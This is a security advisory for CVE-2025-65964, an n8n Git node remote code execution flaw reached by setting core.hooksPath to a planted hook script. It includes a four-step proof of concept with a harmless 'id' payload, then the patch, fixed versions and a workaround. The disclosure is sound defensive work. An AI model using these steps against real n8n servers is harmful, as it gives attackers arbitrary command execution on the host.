CVE-2025-65964: n8n Git Node Remote Code Execution via core.hooksPath
Any authenticated n8n user who can build workflows can plant a malicious Git hook and trigger it through the Git node, running arbitrary commands as the n8n server process.
The problem
The n8n Git node exposes an Add Config operation that writes arbitrary key-value pairs directly into a repository's .git/config with no validation.
An attacker sets core.hooksPath to a directory they control inside the cloned repo, drops an executable hook script there, then triggers any Git operation (commit, log, fetch). Git runs the hook as the n8n process user, giving full OS access.
Proof of concept
A working proof-of-concept for this issue in n8n, with the exact payload below.
# Step 1 – clone any repo to get a working directory
# (Git Node: Clone operation, repoPath=/tmp/target)
# Step 2 – write the hook payload via Write Binary File node
# path: /tmp/.hooks/pre-commit
# content: #!/bin/sh\nid > /tmp/pwned.txt\n
# Step 3 – poison config (Git Node: Add Config operation)
# key: core.hooksPath
# value: /tmp/.hooks
# Step 4 – trigger execution (Git Node: Commit or Log operation)
# Git automatically executes /tmp/.hooks/pre-commit with n8n process privilegesThe root cause is CWE-78: the addConfig handler in packages/nodes-base/nodes/Git/Git.node.ts forwarded user-supplied key/value pairs to the underlying git library without any key allow-list. Setting core.hooksPath is a standard git mechanism, not an obscure bypass.
The patch at commit f69dfc6 blocks dangerous configuration keys (including core.hooksPath and related hook-triggering settings) from being written by the node, and enforces --no-hooks or equivalent safe flags on operations that could invoke hooks from a staged or cloned repository.
The fix
Upgrade n8n to 1.123.67, 2.31.5, or 2.32.1. If immediate upgrade is not possible: add n8n-nodes-base.git to the NODES_EXCLUDE environment variable to disable the Git node entirely, or restrict instance access to fully trusted users.
Reported by csuermann (n8n security team / reporter).
Related research
- highCVE-2026-65016: n8n SSO Instance-Role Provisioning Privilege Escalation to Instance Owner
- highCVE-2026-59209CVE-2026-59209: n8n Shared Credential Header Leak via HTTP Request Pagination Expression
- highCVE-2026-59206CVE-2026-59206: n8n Prototype Pollution via Workflow Credentials
- highCVE-2026-59207CVE-2026-59207: n8n AI Agents MCP Connector Allowed HTTP Request Domains Bypass